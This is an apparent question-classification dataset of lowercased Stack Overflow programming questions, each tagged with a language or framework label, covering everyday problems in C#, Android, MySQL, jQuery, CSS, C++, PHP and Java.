how to add sum of columns in datagridview with datasource  how would i add a a row to the bottom of this datagridview with a sum all the above rows. the rows are bound from a datatable.   <pre><code>datagridview1.datasource = dt; for (int i = 0; i &lt; datagridview1.rows.count; ++i) {     sum += convert.toint32(datagridview1.rows[i].cells[col].value);     datagridview1.rows.insert(sum); } </code></pre>   i have tried to ;ppl at datagridview1.rows.insert and .add but am unsure how i would be best to do this.,c#
android selector showing error  in my android xml file i have one <strong>edittext</strong> .i was trying to customize that <strong>edittext</strong> the xml is looks like :--   <pre><code> &lt;edittext             android:id= @+id/edi              android:layout_width= wrap_content              android:layout_height= wrap_content              android:ems= 10              android:layout_margintop= 10dp              android:layout_gravity= center              android:hint= username              android:background= @layout/textbox001              android:drawableleft= @drawable/usernameicon            / &gt; </code></pre>   and in layout the <strong>textbox001</strong> is:--   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;selector xmlns:android= http://schemas.android.com/apk/res/android      android:shape= rectangle &gt;      &lt;item android:state_pressed= true  &gt;         &lt;shape&gt;             &lt;gradient                 android:startcolor= #e4e4e2                  android:endcolor= #d5d5d5                  android:angle= 270  /&gt;             &lt;stroke                 android:width= 0dp                  android:color= #282a2f  /&gt;             &lt;corners                 android:topleftradius= 10dp          android:toprightradius= 10dp          android:bottomleftradius= 0dp          android:bottomrightradius= 0dp  /&gt;             &lt;padding                 android:left= 10dp                  android:top= 10dp                  android:right= 10dp                  android:bottom= 10dp  /&gt;         &lt;/shape&gt;     &lt;/item&gt;     &lt;item&gt;         &lt;shape&gt;             &lt;gradient         android:endcolor= #e4e4e2          android:startcolor= #d5d5d5          android:angle= 270   /&gt;             &lt;stroke                 android:width= 0dp                  android:color= #282a2f  /&gt;             &lt;corners                 android:topleftradius= 10dp          android:toprightradius= 10dp          android:bottomleftradius= 0dp          android:bottomrightradius= 0dp  /&gt;             &lt;padding                 android:left= 10dp                  android:top= 10dp                  android:right= 10dp                  android:bottom= 10dp  /&gt;          &lt;/shape&gt;     &lt;/item&gt; &lt;/selector&gt; </code></pre>   but its showing errors in selector..i.e:--   <pre><code>element selector does not have  required attribute android:layout_width  element selector does not have  required attribute android:layout_height </code></pre>   where is the problem   how can i correct it   in xml graphic it is also showing that:--   <pre><code>the graphics preview in the layout editor may not be accurate: different corner sizes are not supported in path.addroundrect. (ignore for this session) </code></pre>,android
unique indexes for mysql  i m trying to find out what i m missing for my syntax errors to get corrected so i can apply a unique index to a field in my table called vehicledrive.   <pre><code>alter table `vehicledrive` add unique `name`; </code></pre>   i m receiving this error:   <blockquote>    you have an error in your sql syntax; check the manual that   corresponds to your mysql server version for the right syntax to use   near    at line 1  </blockquote>,mysql
asking variable outside of function  i m new to jquery and was wondering how i d access $hidden outside of this function: <strong>$(this).hide(500  function ()</strong>    <strong>html</strong>   <pre><code>&lt;div class= fl person &gt;      &lt;input type= hidden  name= usersaved  value= 1  /&gt;      &lt;img src= ...  class= circle-mask  /&gt;  &lt;/div&gt;  &lt;div class= fl person &gt;      &lt;input type= hidden  name= usersaved  value= 2  /&gt;      &lt;img src= ...  class= circle-mask  /&gt;  &lt;/div&gt; </code></pre>   <strong>jquery</strong>   <pre><code>&lt;script&gt; $( div.person img ).click(function () {         $(this).hide(500  function () {         $(this).parent( div ).empty();         $( .main_page ).appendto( div.main_page ).addclass( fl person );          var saved_id_user_who_voted = $hidden = $(this).siblings( input );     });      /* attach a submit handler to the form */     var saved_id_user_who_voted_val =  &lt; php echo $_session[ id ];  &gt; ;      /* stop form from submitting normally */     event.preventdefault();      /* send the data using post and put the results in a div */     $.ajax({         url:  savesavedusertodatabase.php           type:  post           data: {saved_id_user_who_voted:saved_id_user_who_voted_val  saved_id_user_voted_on:saved_id_user_voted_on_val}      }); }); &lt;/script&gt; </code></pre>   i d like to be able to access <strong>saved_id_user_who_voted</strong> outside of the current function so that i can post it using .ajax - right now it s not in scope.    any help is appreciated.,jquery
how to implement file download functionality in angularjs  html   <pre><code>&lt;li ng-click= generateexcel() &gt;   &lt;a&gt;&lt;i class= large material-icons &gt;insert_drive_file&lt;/i&gt;      &lt;p class= center &gt;file rules&lt;/p&gt;   &lt;/a&gt; &lt;/li&gt; </code></pre>   angularjs controller:   <pre><code>$scope.generateexcel = function(){     $scope.rulepackages=[];     var len=$scope.ruleidpackagelist.length;     for(var i=0;i&lt;len;i++){         if($scope.ruleidpackagelist[i].checked){             $scope.rulepackages.push($scope.ruleidpackagelist[i].rulepackageid)         }     }     console.log($scope.rulepackages);     if($scope.rulepackages.length&gt;0){          var query= { workpackagename : +json.stringify($scope.rulepackages)+ } ;         $http.post(__env.javaurl+ /record2  query {headers: {  content-type :  application/json; charset=utf-8 }}          ).then(function(response){             var name = response.data.name;             console.log(name);             $scope.filename = name.split( //var//www//html//jupiter//uploads// );         }).finally(function(){             console.log($scope.filename[1]);             $window.open(__env.appurl+ /uploads/ +$scope.filename[1]);         });     }     else{         swal( no rule package selected!        error );     } } </code></pre>   it is opening this content in another tab but i want to download txt file.,angularjs
what does this python syntax mean   i was looking through some code for a library called django-cas and spotted this line:   <pre><code>protocol = ( http://    https:// )[request.is_secure()] </code></pre>   what exactly does this line mean/do,python
copying columns from a text file  i have a text file which looks like this :   <pre><code>flooding refers to all water that overflows a node  whether it ponds or not.   --------------------------------------------------------------------------                                                              total   maximum                                  maximum   time of max       flood    ponded                         hours       rate    occurrence      volume     depth   node                 flooded       cms   days hr:min    10^6 ltr    meters   --------------------------------------------------------------------------    1064                  0.15     0.000      0  00 00       0.000      0.35    1065                  0.25     0.078      0  00 09       0.049      0.41    1130                  0.25     0.626      0  00 00       0.106      0.90    1155                  0.24     0.098      0  00 07       0.073      0.61    1173                  0.25     0.106      0  00 15       0.022      0.76 </code></pre>   i want to copy the numerical columns (no text) such that the resulting file is like as such :   <pre><code>   1064                  0.15     0.000      0  00 00       0.000      0.35    1065                  0.25     0.078      0  00 09       0.049      0.41    1130                  0.25     0.626      0  00 00       0.106      0.90    1155                  0.24     0.098      0  00 07       0.073      0.61    1173                  0.25     0.106      0  00 15       0.022      0.76 </code></pre>   till now i have managed to do this code in c :   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;string.h&gt;  void main() { file *fs *ft; int ch; int c; fs=fopen( node.txt   r ); if (fs=null) {     puts( cannot open source file );     exit(0); } ft=fopen( new_node.txt   w ); do {    ch=fgetc(fs);    if (ch=eof)    break;    else    {     if (ch&gt;0)     fputc(ch ft);    }      ch++; }   while(1);   fclose(fs);   fclose(ft);   return 0; } </code></pre>   the problem is that nothing is coming out of it. can anyone help in this regard and provide a working code.,c
ios  audio  background mode  i have a quick question  does anyone knows of any other way in ios 9 and above  to be able for an app to access the microphone in background  except to use the  audio  background mode     also the app is not recording the audio  it is just processing in order to try and recognize the audio that is received through the microphone  and to provide notification to the user.    i am asking this question  since i have used  audio background mode  in version 1 of the app  and continued using  audio background mode  in version 2 (update)  but when i try to submit the version 2 to app store  they are rejecting it and explaining that app version 2  is not in compliance of 2.16 because recording audio is not proper use of audio background mode  and i am not recording audio.     thanks in advance.,ios
move a div on scroll with different position at top and bottom of the scroll  i have this website and i want the rocket to land on the moon at the bottom of the page.  while scrolling it have to follow the website  but on the bottom of the page it has to move down to land on the moon. anyone got an idea  i tried several things but can t get it fixed.    <a href= http://www.websoy.nl/promo-website/  rel= nofollow >http://www.websoy.nl/promo-website/</a>,jquery
confused about meaning of c statment relating to structs  im having trouble understanding what this statement means  could someone explain it to me.    this is the struct i have:   <pre><code>struct datat {     int m; };  struct stack {     int top;     struct datat items[stacksize]; } st; </code></pre>   this is the statment i am confused about. i dont quite understand what it means:   <pre><code>st.items[st.top].m </code></pre>,c
adding a character into a string after a specific character  in order to be able to read a file in asp.net  the file path must be written in this: 1.   <pre><code>c:\\yung\\desktop </code></pre>   returns however  the string that the fileupload get returns is  2.   <pre><code>c:\yung\desktop </code></pre>   after reading the comments i have this code:   <pre><code>        string filepath = fileuploadpublicinfo.postedfile.filename;         system.io.streamreader file = new system.io.streamreader(filepath);         string line = file.readlines(filepath.tostring()).skip(4).tostring();          textbox1.text = line.tostring(); </code></pre>   but now its giving this error:   <pre><code>system.linq.enumerable+&lt;skipiterator&gt;d__30`1[system.string] </code></pre>   how to solve this problem     thank you.,c#
list styles not displaying  on this page: <a href= http://catonthecouchproductions.com/fish/boat-captain.html  rel= nofollow noreferrer >http://catonthecouchproductions.com/fish/boat-captain.html</a> i have a list on the bottom right box in yellow  but it is not displaying as a list-style-type:circle  but i have it set in my css.    i am not sure why it is acting this way. any ideas     i have firebug installed and it doesn t seem like anything is conflicting with it.,css
how to stop the media player on a service   i have a media player inside a service which would play a beep at particular time for some seconds..    i want to stop it from a new activity that is launched from the service..whether it is possible     whether i can reference the object for mediaplayer i have created and stop it how to reference an object/variable from service,android
validating and revoking the constructor of a class  i am applying validation logic in the constructor and returning if that fails. but  still the instance is created. how can i make sure that if a logic fails  the ctor should not create the instance.   <pre><code>class car {     public readonly int maxspeed;     private int currspeed = 99;     public car(int max)     {         if (max &gt; 50)             return;     }     public car()     {         maxspeed = 55;     } } </code></pre>,c#
binding of repeater not showing anything after getting 2nd set of products  my page_load calls the following:   <pre><code>pnlproductwrapper.visible = true;  pnllist2column.visible = true;                 rptlist2column.startindex = startindex - 1;                 rptlist2column.numitems = productsperpage;                 rptlist2column.datasource = usemanualproductlist()   lpage.lpageproducts.values.tolist() : products;                 rptlist2column.databind() </code></pre>   on first page load  i see my repeater just fine and its products.  but we have a paging control.  when clicking next all it does is through a param up in the querystring and we grab it and requery to get more products.  so 2nd time around it comes to here again and i debugged and definitely verified that products above is what s being picked and set to the datasource and after databind  rptlist2column has 6 records.  but when my page loads  the repeater is not showing up.    here s some of my mark-up:   <pre><code>&lt;div id= productwrapper &gt;     &lt;asp:panel id= pnllist2column  visible= false  runat= server &gt;      &lt;xx:xxrepeater id= rptlist2column  enableviewstate= false  runat= server &gt;         &lt;itemtemplate&gt;         &lt;td valign= top  align= center  width= 150px  style= padding-top:5px &gt;             &lt;div&gt;             &lt;a href= &lt;%#xxx(container.dataitem)%&gt; &gt;&lt;img src= &lt;%#xxx(container.dataitem)%&gt;  border= 0  /&gt;&lt;/a&gt;             &lt;/div&gt;             &lt;div&gt;             &lt;p&gt;&lt;a href= &lt;%#(xxx(container.dataitem))%&gt; &gt;&lt;%#(container.dataitem).name%&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt;&lt;%#xxx(((xxx)container.dataitem))%&gt;&lt;/p&gt;                                             &lt;/div&gt;                                         &lt;/td&gt;         &lt;/itemtemplate&gt;     &lt;/xxx:xxx&gt;                      &lt;/asp:panel&gt; &lt;/div&gt; </code></pre>   this is a custom repeater and i have 3 on the page  each wrapped with a panel.  the first repeater is setup just like this and has no problems.  so i don t see why this would not work.,asp.net
android: handling different options menu colors   various devices use various backgrounds for their options menu.  the problem this causes me is that the gray-ish icons i use for my options menu buttons don t look great on darker menu backgrounds.  from my reading and experimentation i see three options for dealing with this.  number 3 is the one i intend to do  but i have a question about implementing it.  also  i would be very interested in any general thoughts/advice about this issue:   <ol> <li> use icons that look good regardless of the background color.  maybe dark-ish gray icons with white-ish outlines   this would be an easy option to implement  but getting the ideal icon is tricky. </li> <li> set a custom background color.  the code for doing this appears to be very hacky  and this results in an options menu that doesn t conform to the device theme. </li> <li> have 2 sets of icons  programmatically set one light-ish menus and one for dark-ish menus.  this seems promising aesthetically  but i can t find how to determine the color/lightness of the background  </li> </ol>,android
iphone: iphone application testing  first  thanks to all for your quick help for any questions asked in this forum.    i just want to know what are the testing tools coming up with xcode on mac as i need to test my iphone application professionally (or) what do you suggest to use debug and test my application using any (or) built-in tools     thanks.,iphone
how to remove pan gesture from label after tapping over label  i am adding multiple label with pan gesture and tap gesture over each label.but when i tap over any label  pan gesture is not removing from other label     <pre><code>- (void)onetap:(uitapgesturerecognizer *)gesture {       tapedlabel=gesture.view.tag;      //nslog(@  tapped label is %d  numberoflabel);      //add pangesture     self.pangesture = [[uipangesturerecognizer alloc] initwithtarget:self action:@selector(move:)] ;     [self.pangesture  setminimumnumberoftouches:1];     [self.pangesture  setmaximumnumberoftouches:1];     [ self.pangesture  setdelegate:self];          for(int i=1;i&lt;=numberoflabel;i++)         {               uilabel *label=[self.labeldict objectforkey:[nsstring stringwithformat:@ %d  i]];             label.userinteractionenabled=yes;            if(i==tapedlabel)            {                //nslog(@ i value %i tag value %d  i tapedlabel);                 [label addgesturerecognizer:self.pangesture];               // nslog(@ remove  gesture over label %@  label);              }             else             {                 //nslog(@ i value %i tag value %d  i tapedlabel);             [label removegesturerecognizer:self.pangesture];                 nslog(@ add gesture over label %@  label);             }                 }     } </code></pre>,ios
"how can make next button to the 10 divs in html  my project is about 10 divs    in each div i put an image    how can move by divs by next button    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body&gt;
 &lt;div 
    id= 1  
   &lt;img id= img  src= image1.jpg /&gt;
 &lt;/div&gt;
 &lt;div 
    id= 2  
   &lt;img id= img  src= image2.jpg /&gt;
 &lt;/div&gt;
 &lt;div 
    id= 3  
   &lt;img id= img  src= image3.jpg /&gt;
 &lt;/div&gt;
 &lt;div 
    id= 4  
   &lt;img id= img  src= image1.jpg /&gt;
 &lt;/div&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>",html
when is the copy constructor called for this struct   i m trying to do some test with {}-lists. when i compiled this in vs2015  the output is    <blockquote> <pre><code>copy a 0 </code></pre> </blockquote>   just don t get it  where is copy constructor called     <pre><code>#include &lt;iostream&gt;  struct a {     a() = default;     a(int i) : m_i(i) {}     a(const a&amp; a)     {         std::cout &lt;&lt;  copy a   &lt;&lt; m_i &lt;&lt; std::endl;     }     int m_i = 0; };  struct b {     b(const a&amp; a) : m_a(a) {}     b(const a&amp; a1  const a&amp; a2) {}     a m_a; };  int main() {     a a1{1}  a2{2};     b b({ a1  a2 });     return 0; } </code></pre>,c++
ostream_iterator template parameters  for the code below  why is there an error  ostream_iterator is a template class  so why isn t there a matching constructor to initialize it   why i can user ostream_interator but not use ostream_iterator   <pre><code>define ostream_iterator template &gt; class _libcpp_visible ostream_iterator  int main(int argc  const char * argv[]) { vector&lt;int&gt; sentence1; sentence1.reserve(5);// 设置每次分配内存的大小  sentence1.push_back(1); sentence1.push_back(2); sentence1.push_back(3); sentence1.push_back(4); sentence1.push_back(5);  int c = 5;  copy(sentence1.begin()  sentence1.end()  ostream_iterator&lt;int  int&gt;(cout  &amp;c)); cout &lt;&lt; endl; </code></pre>,c++
simple loop error in objc  hello i have a loop and i have issues when int11=21 and when i=7.    <pre><code>-(nsstring *)print01:(int)int11{     int n =128;     char array12[7];     nsstring *str;  if(int11==0)  return str= [nsstring stringwithformat:@ 00000000 ];       for(int j=0;j&lt;8;j++)         if ((int11-n)&gt;=0){              //when i=7 then int11=1 and n=1  the  i  here is 7                       array12[j]= 1 ;                //and here is become 49!!!              int11-=n;          }         else              array12[j]= 0 ;          n=n/2;         nslog(@ last %d  j);     }      str= [nsstring stringwithformat:@ %s  array12];      return str; } </code></pre>,objective-c
i need to make sure to use the latest response from jquery get or post  i have a big form  where changing any value is supposed to trigger an ajax call to the server  perform some calculations and return the result. but the problem is  the users won t wait for each ajax call to finish  and after a few such calls piles-up  the result i get last may not be for the most recent call to server  because the response times for each ajax call may and will vary based on data and other factors involved. but i need to make sure that i present the user with the data that corresponds to the most recent change. so     1) is there a way to avoid this scenario  while using $.get() or $.post()     2) is there a way to use synchronous/asynchronous in the above two methods  or do i have to use $.ajax()     edit:    i am using a simple ajax method   <pre><code>$( #somefield ).blur(function(e){      $.get( someurl.php v= +$(this).val() function(d){         $( #result ).html(d);     });  }) </code></pre>,jquery
"arithmetic mean with immutable list  i have an array that calculates the arithmetic mean of the numbers in the array. i know how to do with a regular array and i know how to do with the immutable list. tell me how to calculate the average arithmetic array through an immutable list does not use my example via a reduce.    common array    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>let numbers = [1  2  3  4];
 
 function mean(numbers) {
 
   let total = 0 
     i;
 
   for (i = 0; i &lt; numbers.length; i += 1) {
     total += numbers[i];
   }
   return total / numbers.length;
 }
 
 console.log(mean(numbers));</code></pre>
 </div>
 </div>
     immutable list   <pre><code>function sum(collection) {   return collection.reduce((sum  x) =&gt; sum + x  0) }  list([ 1 2 3 4 ])   .filter(x =&gt; x % 2 === 0)   .update(sum) </code></pre>   i m just learning  i really hope for your third option.",javascript
how to select particular field in address book in iphone  i am working on one app and in that i have to open the address book  i have used abpeoplepickernavigationcontroller to open address book and in that have stored phone number and email for all the user  however i didnd t know how to store the value of phone number or email  suppose if user clicks on email field the email address stores in some variable and if clicks on phone number store in another variable.,iphone
ios app gets crash in background as changed settings->privacy->contacts my app on/off  in my app i am getting contact information directly buy doing this ...   <pre><code>abaddressbookref m_addressbook = abaddressbookcreate();  cfarrayref allpeople = abaddressbookcopyarrayofallpeople(m_addressbook);  cfindex npeople = abaddressbookgetpersoncount(m_addressbook);  for (int i=0;i &lt; npeople;i++) {     abrecordref ref = cfarraygetvalueatindex(allpeople i);     cfstringref company firstname lastname;       firstname = abrecordcopyvalue(ref  kabpersonfirstnameproperty);      lastname  = abrecordcopyvalue(ref  kabpersonlastnameproperty);      company = abrecordcopyvalue(ref  kabpersonorganizationproperty); } </code></pre>   so  i need to check first whether this is on/off settings --> privacy --> contacts on/off for my app.    for this i am doing this :   <pre><code>__block bool accessgranted = no;   float sysver = [[[uidevice currentdevice]systemversion]floatvalue];  if(sysver&gt;=6) {     abaddressbookref addressbook = abaddressbookcreate();      if (abaddressbookrequestaccesswithcompletion != null) {           dispatch_semaphore_t sema = dispatch_semaphore_create(0);         abaddressbookrequestaccesswithcompletion(addressbook  ^(bool granted  cferrorref error) {             accessgranted = granted;             dispatch_semaphore_signal(sema);});       dispatch_semaphore_wait(sema  dispatch_time_forever);      dispatch_release(sema);      } else {           accessgranted = yes;      } } else {     accessgranted = yes; }  if(accessgranted)  {     // doing my stuff and moving on } else {     // please make settings --&gt; privacy --&gt; contacts  my app.  on for accessing contacts. } </code></pre>   my issues is   at very first time after installing app on device   app asked me to  don t allow /  ok  alert for contact grant access. i clicked on ok but settings --> privacy --> contacts for my app was off so again got alert to make it on   settings   ok  so selected settings   and i made it on    once i made it on app get sigkill nothing to console.    and later whenever i changed privacy setting to off to on app getting crash at background . i get sigkill nothing to console.    thanks in advance.,ios
"how may i prevent content from moving down upon expanding a <details> tag   i m still trying to get the hang of <code>&lt;details&gt;</code> and i ve run into a snag that i know has a very obvious answer  but... it s late  i m stupid  and i <em>cannot</em> figure it out.      how do i prevent a div from moving to accommodate an expanded details tag  like in the instance of the red div in the following snippet     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.test {
   background: red;
   height: 50px;
   width: 50px;
   }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;details&gt;
   &lt;summary&gt;summary test&lt;/summary&gt;
   &lt;ul&gt;
   &lt;li&gt;thing #1&lt;/li&gt;
     &lt;li&gt;thing #1&lt;/li&gt;
       &lt;li&gt;thing #1&lt;/li&gt;
   &lt;/ul&gt;
 &lt;/details&gt;
 &lt;div class= test &gt;
 test
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
error while using angular constant  i am trying to use angular constant in ny project which i need to get by making a http request to config.json file. but when i try to inject that constant in any controller  angular gives me the following error: uncaught error: [$injector:modulerr] failed to instantiate module dashboard due to: error: [$injector:unpr] unknown provider: $http my code for angular constant and route looks lke this.   <pre><code>      use strict ;      var dashboard = angular.module( dashboard   [         ngresource           ngsanitize           ngroute           ]);      dashboard.config(function($routeprovider) {         $routeprovider           .when( /:appname   {           templateurl:  views/dashboard_landing.html             controller:  displaycontroller          })           .when( /:appname/individual/session/graph   {           templateurl:  views/individual_session_graph.html             controller:  indsessiongraphctrl          })           .when( /:appname/individual/session/piechart   {           templateurl:  views/individual_session_pie.html             controller:  indsessionpiectrl          })           .when( /:appname/individual/activity   {           redirectto:  :appname/individual/session/graph          })           .when( /:appname/individual/engagement   {           templateurl:  views/individual_engagement.html             controller:  indengagementctrl          })           .when( /:appname/overall/session/graph   {           templateurl:  views/overall_session_graph.html             controller:  ovesessiongraphctrl          })          .otherwise({           redirectto:  /lecafe          });       });       dashboard.config(function ($provide  $http) {         $provide.constant( baseurl  function() {           $http({             method: get               url: /baseurl.json            })           .success(function(data){             var baseurl = data[0].baseurl;             return baseurl;           })           .error(function(){           });         });       }); </code></pre>   can any one help me put to get through this error.                                                      thank you in advance...,angularjs
i am getting a php require file error when running this script  how can i correct this   this code shows the files listed for ./ as you can see it shows the file test.php   <pre><code>$dir    =  ./ ; $files1 = scandir($dir); print_r($files1);  array ( [0] =&gt; . [1] =&gt; .. [2] =&gt; xxx.php [3] =&gt; xxx.php [4] =&gt; xxx.php [5] =&gt; test.php [6] =&gt; xxx.html [7] =&gt; .htaccess [8] =&gt; index.php [9] =&gt; license.txt [10] =&gt; xxx.html [11] =&gt; xxx.php [12] =&gt; xxx.html [13] =&gt; xxx.jpg [14] =&gt; xxx.xml [15] =&gt; xxx.xml.gz [16] =&gt; xxx [17] =&gt; wp-activate.php [18] =&gt; wp-admin [19] =&gt; wp-blog-header.php [20] =&gt; wp-comments-post.php [21] =&gt; wp-config.php [22] =&gt; wp-config-sample.php [23] =&gt; wp-content [24] =&gt; wp-cron.php [25] =&gt; wp-includes [26] =&gt; wp-links-opml.php [27] =&gt; wp-load.php [28] =&gt; wp-login.php [29] =&gt; wp-mail.php [30] =&gt; wp-settings.php [31] =&gt; wp-signup.php [32] =&gt; wp-trackback.php [33] =&gt; xmlrpc.php ) </code></pre>   however  when i run the script  it gives an error file not found:   <pre><code>echo  running test...&lt;br /&gt; ; $filename =  ./test.php ; require $filename; </code></pre>   running test... error: no such file or directory    it gives the error but it has actually run the sql code inside of the include file. i can t figure out why this is happening. i do not have any other require commands in either of the 2 files. the sql is stored in a db and runs from a plugin  wordpress include php in posts  could this be changing the paths somehow  it seems strange that it would run the include command but then show a file not found error.,php
how are value types like objects   i have read the following statement from the microsoft .net framework app development toolkit:   <blockquote>     even though value types often   represent simple values  they still   function as objects   </blockquote>   can anyone help me understand how value types function as objects     saj,.net
has there ever been an iphone 4 without retina display  i m not able to find information about that on the web. has anyone out there seen such an iphone 4  or does anybody know for sure,iphone
"is it possible to have an element positioned outside of @page margins   if i have a <code>@print</code> stylesheet set up with 60mm margins  is it possible to have a logo appear with <code>position: fixed;</code> at 20mm from the top of the page  thus far it appears that everything outside of the <code>@page</code> margins gets cropped.    it’s difficult to actually <em>see</em> the issue in the code snippet below  but check it out here: <a href= https://jsbin.com/xaxanamihu/edit html css output  rel= nofollow >https://jsbin.com/xaxanamihu/edit html css output</a>    and the pure output here: <a href= https://output.jsbin.com/xaxanamihu  rel= nofollow >https://output.jsbin.com/xaxanamihu</a>    view the print preview of that page. you’ll see the <code>.logo</code> div is cropped because its position is technically outside of the view area set by <code>@page</code> margins.    i basically need to mimic the concept of a header and footer in my print styles from  say  an apple pages or word document. the same logo in the header and small text in the footer on every page  with the content area given plenty of margin for the header and footer.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.logo {
   background: rgb(200  200  200);
   color: white;
   height: 100px;
   left: 0;
   position: absolute;
   top: 0;
   width: 100px;
 }
 
 @page {
  size: auto;
  margin: 60mm;
 }
 
 @media print {
   .logo {
     background: black;
     left: -50px;
     top: -50px;
   }
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= logo &gt;logo.&lt;/div&gt;</code></pre>
 </div>
 </div>",css
java drawing rectangle with nested loop  i have a homework for college. i have to draw a rectangle with nested for loop that looks like this:   <pre><code>    1    234   34567  4567890 567890123 </code></pre>   for now i managed to do this:   <pre><code>public class dn2 {     public static void main(string[] args){         trikotnik(8);        }     static void trikotnik(int n){         for (int i = 1; i &lt;= n; i++) {             for (int j = n; j &gt; i; j--) {                 system.out.print(    );             }             for (int j = 1; j &gt; 1; j--) {                 system.out.print(j +    );             }             for (int j = 1; j &lt;= i; j++) {                 system.out.print(j +    );             }         system.out.println();         }     } } </code></pre>,java
rails javascript_include_tag  i have a few custom .js files in my public/javascripts folder. the  javascript_include_tag  adds script tags to the head element. are these executed in the order in which they appear. if yes  how do i control the order in which these script tags are added to my html.    thanks  ash,ruby-on-rails
background property on div issue  i want this markup:   <pre><code>&lt;div style= background:url( untitled.jpg );height:50px;width:50px; &gt;&lt;/div&gt; </code></pre>   to behave as this markup:   <pre><code>&lt;img src= untitled.jpg  width= 50  height= 50 /&gt; </code></pre>   the difference between the 2 is that the div doesn t fit the full image. it just crops it if the full image can t be fit inside the container. however img tag as we know shows full image. it scales down the image but shows it fully.    how can i achieve the same thing in div in background property of css  if possible  please do not suggest css3 because i need this to work on ie8. however it s fine. you can still suggest.,html
how to find out the path& filename to the application launcher icon declared in android manifest  i figured out that i can reuse my app s launcher icon inside my app  which is declared in the manifest as a launcher icon. i am doing this by simply calling the icon image from a layout xml file with the same file name and path as declared in the android manifest.   <pre><code>e.g.:    &lt;imageview   ...   android:src= @drawable/ic_launcher &gt;   &lt;/imageview&gt; </code></pre>   <strong>the problem is:</strong> that if in the future i changed the icon s name/path in the manifest file  the code in the layout file would also need to be updated. also  i would like to be able to reuse this piece of layout code in my next app without worrying about what filename &amp; path has been declared in the manifest for the icon.    <strong>can i find out from my code the name&amp;path declared in the manifest file for the launcher icon </strong> this would allow me to read the manifest first then use the same name&amp;path from the layout file.,android
how would you create a user interface for an ios app for devices of all sizes   when creating an application is it possible to just get the dimensions of the device s screen and then to divide the dimensions by a number so that all ui elements will look similar on all devices     i know that this can obviously be done  but is it something i should consider doing  or should i consider creating multiple storyboard files to cover every single ios device  or is there a feature that storyboards have that allow you to do this and i just haven t discovered it yet     if you set the sizes of ui elements to specific numbers (and not ratios) when you are programmatically adding the ui elements  the whole screen will look a bit off when you use a different device with a different screen size. so if i wanted to create user interfaces for all devices programmatically (without storyboards) would i have to write different code for each device  this is why i m wondering if it would be better to just use ratios for the sizes. by doing that you will only have to write the code once.    which way is best for designing for all screen sizes,ios
write csv file into vectors in c (continued)  basically i have 14800x8 matrix that has been extracted from matlab as csv file ( moves.mo ). i need to read this file into 14800 vectors with 8 values each. here is a few lines from the file:   <pre><code>1 2 3 4 -1 -3 -2 -4 1 2 3 5 -1 -3 -2 -5 1 2 3 6 -1 -3 -2 -6 1 2 3 7 -1 -3 -2 -7 1 2 3 8 -1 -3 -2 -8 1 2 3 9 -1 -3 -2 -9 </code></pre>   i wrote the following code:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include&lt;stdio.h&gt; #include &lt;string&gt; #include &lt;istream&gt; #include &lt;vector&gt; #include &lt;sstream&gt; using namespace std; int main() {            std::fstream inputfile;         inputfile.open( moves.da );         std::vector&lt; std::vector&lt;int&gt; &gt; vectorsmoveslist; //declare vector list           while (inputfile) {              std::string s;             if (!getline( inputfile  s )) break;              istringstream ss( s );             vector &lt;int&gt; recordmove;              while (ss)             {                  if (!getline( ss  s      )) break;                 int recordedmoveint = atoi(s.c_str());                 recordmove.push_back( recordedmoveint );             }              vectorsmoveslist.push_back( recordmove );         }         if (!inputfile.eof())         {             cerr &lt;&lt;  fooey!\n ;         } </code></pre>   it compiles but does not give me desirable output (i.e. just prints fooey!) . i don t know why... this problem at this point is driving me insane.     please help!,c++
android - adding views onscreen  but outside the content view  i m creating a component that needs to appear above and separate from the existing ui  like sliding in from the bottom of the screen and staying anchored there  regardless of the current contentview.  i d like it to be modular and portable  so pre-supposing a framelayout isn t realistic.    in looking at the source for the dialog and popupwindow classes  it looks like they accomplish this using the window and windowmanager classes  but i m not able to find much in the way of documentation on these classes.    is there a simple way to accomplish what i m describing     tyia,android
g++ undefined reference to constructor   really simple code  i made a program to test my knowledge on class but i had some troubles.    foo.h:   <pre><code>#include &lt;iostream&gt; using namespace std;  class foo { private:         int a; public:         foo();  }; </code></pre>   foo.cc:   <pre><code>#include &lt;iostream&gt; #include  foo.h  using namespace std;    foo::foo() {  a = 0;  } </code></pre>   and main.cc:   <pre><code>#include&lt;iostream&gt; #include  foo.h  int main() {  foo a;  return 0;   } </code></pre>   i compiled this with g++ main.cc -o main. then i got   <pre><code>-bash-4.1$ g++ main.cc -o main /tmp/cc5hnes8.o: in function `main : main.cc:(.text+0x10): undefined reference to `foo::foo()  collect2: ld returned 1 exit status </code></pre>   i think there should be a really stupid mistake here but i really cannot find it. i ve been struggling on this whole night...    appreciate any help!,c++
(homework) java gui: button increments/decrements by 2 instead of 1  i m working on a simple java gui program with two buttons and a displayed variable (num). the buttons are named  increment  and  decrement   and their functions are to increment or decrement the displayed variable num  which is initially set to 50.    although the program will compile  the increment and decrement buttons increase/decrease the value of num by two instead of one. i ve tried things such as changing the code  num++  to  num = num + 1   but this still causes the button to increment by two.    here is my code:   <pre><code>import java.awt.*; import java.awt.event.*; import javax.swing.*;  public class assignment_4 extends jframe {     private int num = 50;     private jbutton increment;     private jbutton decrement;     private jlabel label;     private jpanel buttonpanel;     private jpanel displaypanel;      public assignment_4() {         increment = new jbutton ( increment );         decrement = new jbutton ( decrement );         increment.addactionlistener (new inclistener());         decrement.addactionlistener (new declistener());         increment.addactionlistener (new inclistener());         decrement.addactionlistener (new declistener());          num = 50;         label = new jlabel (   + num);          buttonpanel = new 